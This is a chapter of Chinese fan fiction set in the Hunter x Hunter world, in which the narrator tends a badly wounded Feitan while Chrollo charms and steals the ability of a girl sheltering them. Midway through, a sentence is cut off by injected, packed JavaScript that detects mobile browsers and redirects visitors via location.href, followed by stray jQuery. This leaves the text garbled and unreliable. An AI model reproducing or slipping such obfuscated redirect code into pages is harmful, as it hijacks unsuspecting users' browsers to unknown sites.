“说起来我一直有个疑问。”浑身是伤的我靠在库洛洛身上,“刚才战斗的时候,我总觉得有谁在干扰我的动作。是谁的能力?”
库洛洛闻言无奈地叹了口气:“差点就偷到了。”他看着光芒渐弱的废墟,“是那个女人的能力,她可以发出念丝附着在人身上。”
“原来如此。”我点点头,又有点幸灾乐祸,“可惜她要被飞坦烧成灰了。”
库洛洛谴责地看了我一眼:“真是的,好不容易才遇到心仪的能力呢。”
我安慰他:“以后会有更好的。”
等了一会儿飞坦还没有出来,库洛洛起身进去找他。
过了一会儿,他扶着昏迷的飞坦出来。
“他怎么了?”我忙凑上前问道,“敌人这么难缠吗?”
飞坦身上有着大大小小的割伤,大腿的地方伤口最大,整条腿都被切开,甚至能看到骨头。
这是我第一次见飞坦伤得这么严重,到底发生什么了?
“那人刚好克制飞坦。”库洛洛让我先扶着飞坦,他撕开自己的衬衫下摆,给飞坦进行了简单的包扎。
“我们得在附近找个落脚点先休整一下。”他看了眼自己并不体面的穿搭,还是没忍住把衬衣脱掉了。
“真是的,弄得这么狼狈。”我抿了抿嘴,心里有点难受,“刚才动静这么大,我们不去远一点的地方吗?”
库洛洛闻言顿了顿:“我也没有力气了啊。”他从我手里接过飞坦,半拖半扶地往前走。
这场战斗打得我们都很狼狈。
飞坦重伤,库洛洛脱力,我也浑身都是伤,最严重的胸口甚至皮肉都被烧得焦糊。
虽然我们三个能力都很不错,战斗意识也很强。
但到底还是小孩子,在经验和念量上都和敌人有不小的差距。
“还差得远啊。”库洛洛忽然这么感叹道。
走了一会儿,我们来到了一个街区,两边都是有人居住的房子。
刚才的动静很大,流星街人的生存之道告诉他们,遇到这种事一定要装死,不要有任何好奇心。所以现在外面看不见一个人,这倒是方便了我们。
库洛洛带着我们观察了几间屋子,选中了其中一个。
他把飞坦交给我,自己先翻进了院子。
等了一会儿,他从里面把门打开,身上已经穿上了一件不太合身的宽大T桖。
我扶着飞坦走了进去。
本以为库洛洛选的屋子是一个没人住的地方,没想到进了房间才发现里面有一大一小两个女孩。
大的那个看起来有十五六岁,小的那个看起来也就七八岁的样子。
她们依偎在一起站在角落,警惕地看着我们。
“这是丽莎和莱莎。”库洛洛仿佛主人般给我介绍屋子的主人,“这两位是我的同伴。”他对她们说。
也不知道库洛洛是怎么办到的,这么短的时间就把人家的名字问到了。但我也毫不意外,毕竟他从小就男女通吃。
“你…你们好。”叫丽莎的小女孩怯生生地和我们打招呼。
叫莱莎的姐姐抿着嘴,警惕地拉着妹妹的手对库洛洛说:“你们要待多久。”
库洛洛优雅地坐在沙发上,微笑地说:“这可不是待客之道啊,莱莎。”
我看了眼他们好像要扯很久的样子,问道:“卧室在哪里?”飞坦很重啊,我扶着他也很累的好吗?
库洛洛一副询问的样子看着莱莎。
莱莎抿着嘴很不情愿地指着左边的屋子:“你们住那里。”
“谢谢。”库洛洛礼貌地对她笑了笑。
我看见莱莎的脸好像红了点,又是一个拜倒在库洛洛盛世美颜下的女孩吗?
把忽悠小女孩的库洛洛抛在身后,我独自扶着飞坦进了卧室。
把他放在床上躺好,我查看起他的伤势。
虽然他的伤口没有再流血了,但还需要更细致的包扎才行。
我站在房间门口,看着已经和库洛洛一起坐在沙发上聊天的莱莎问道:“有伤药和绷带吗?”
“有。”莱莎露出不好意思的表情,逃也似地跑到另一个房间去取药品。
我谴责地看着库洛洛:“红颜祸水啊。”
库洛洛无辜的看着我:“我怎么了吗?”
“这个给你!”莱莎跑到我面前,把药和绷带放在我手上。
不知道是不是我的错觉,总觉得她好像故意挡在我和库洛洛中间?哈哈,总不能这么快就喜欢上库洛洛了吧?还记得自己是被威胁着收留我们的吗?少女!
我叹了口气转身回屋。
飞坦还是没有醒,他的眉头皱得紧紧的,脸色也不正常的苍白,额头都是冷汗。
我把库洛洛的衬衫绷带拆了下来,看着飞坦穿着的衣服面露难色。
怎么也得把他衣服脱了才能打包,不是,包扎吧?上衣还好说,下半身怎么办?要帮他脱裤子吗?
去找库洛洛帮忙吧。
结果我还没出门,就听到客厅里传来欢笑的声音。
我满脸黑线,总有种我在地主家干活的感觉。
算了,先帮飞坦把上半身包扎好吧。
我艰难地想要把他的衣服完整的脱下来,结果飞坦死沉死沉的,而且我又不敢太粗鲁,怕碰到伤口。
折腾了十来分钟衣服才掀到他肚子上。
我怒了!干嘛穿袍子!不知道有多难脱吗?!
我气呼呼地走到门口打开门,没好气地冲客厅里欢笑的三人问:“有剪刀吗?”
“有的!我给姐姐拿!”丽莎小跑着去厨房拿了一把剪刀递给我,“姐姐给你!”
我看着她天真的样子到底没好意思再摆脸色,我冲她点点头:“谢了。”
说完转身把门关上。
回到床上,我毫不客气地把飞坦的袍子剪成了碎片,然后犹豫了一下又把他的裤子也剪烂了。
来都来了,顺手的事。
幸好飞坦有穿内裤的习惯,不然我还不好下手。
半抱起飞坦,我把他身下的衣服碎片都丢到地上。
接着用还算干净的毛巾给他清理着伤口附近的血污。
“唔……”飞坦紧抿的嘴里泄出一丝痛呼。
我手一抖差点把毛巾按在他的伤口上。
这不怪我,完全是这家伙……这家伙的声音太色.气了!
我有说过我对声音敏感吗?其实我是声控来着。
本来就对成年版飞坦的声
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17218999|197485||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
音有点把持不住,他变声前还好,现在跟成年版的声音简直一模一样。骤然听到他近乎呻吟的叫声,我老脸还是控制不住一红。
“你最好闭嘴啊。”我嘟嘟囔囔地说。
接着我速度加快完成了第一步。
第二步缠绷带才是体力活,反正我把他伤口包扎完后自己也没了力气。
我看着仍然昏迷的飞坦叹气:“累死我了,你快点醒吧。”
然后我蹲下身把地上的垃圾都捡起来,走出房间。
客厅里两个小女孩都不在,只有库洛洛坐在那里借着微弱的烛光看书。
嗯……看的是他自己的盗贼的极意。
看见我出来,库洛洛心情很好地问我:“弄好了?”
我没好气地说:“你也不帮我一把,累死了。”
库洛洛走过来接过我手上的东西,往角落一丢:“生气啦?”
我摇摇头,生气倒不至于,就是有点累罢了。
“给你看个东西。”他眼睛里露出一丝笑意,让我看他的盗贼的极意,“刚拿到的。”
我凑过去一看,这页书上贴着的照片很明显是那个姐姐莱莎,我震惊:“你吃干抹净啊?”
库洛洛笑了笑,示意我看能力:“反正她也留不住不是吗?”
是是是,你说的都对,强盗头子。
“我看看什么能力。”好奇心还是驱使我继续看下去:“能力:轻轻睡,作用:散发出温柔的念波,让情绪激动的人慢慢平静。”
“很有趣的能力不是吗?”库洛洛合上书,微笑,“在莱莎手里,这只是哄妹妹睡觉的技能。但在我手里……”
“你可以让敌人露出破绽。”
“没错。”库洛洛赞赏地看着我,“要试试吗?”
我摇了摇头,指了指自己身上的伤和血污:“我想先洗澡。”我顿了顿,有点忧伤,“还想吃饭。”
库洛洛捂着嘴看我:“一会儿我帮你包扎伤口?”
我正想点头,却忽然意识到自己受伤的部位在胸口,连忙拒绝:“我自己来就行了。”
“好吧。”库洛洛语气失望,“小米长大了,开始疏远我了。”
我满头黑线:“这什么跟什么啊。”
库洛洛笑了笑,指着沙发上的裙子对我说:“我找她们要的衣服,一会儿你换上吧。”
我竖起大拇指表扬他:“还是库洛洛最贴心了!”说完我拿起衣服回卧室把飞坦用剩下的伤药带上。
路过库洛洛的时候我突然想起来:“都忘了问你了,你要上药吗?”
库洛洛笑了笑:“刚才让她们帮我处理了。”
行,他根本用不着我担心。
说是来浴室洗澡,但其实这里根本没有淋浴,只有一个比较大的水桶。要洗澡的话就用毛巾沾水擦一擦就完事了。
我清洗完身上的脏污,对着镜子看自己惨不忍睹的身体吸了口凉气。
看起来好惨啊!这上半身简直没有一块好肉。
前面被敌人烧得血肉翻飞,背上被飞坦的大招弄得皮开肉绽。
我两面焦黄,出锅!
幸好我恢复能力强,不然还真是要毁容了。
叹了口气,我认命的给自己包扎起来。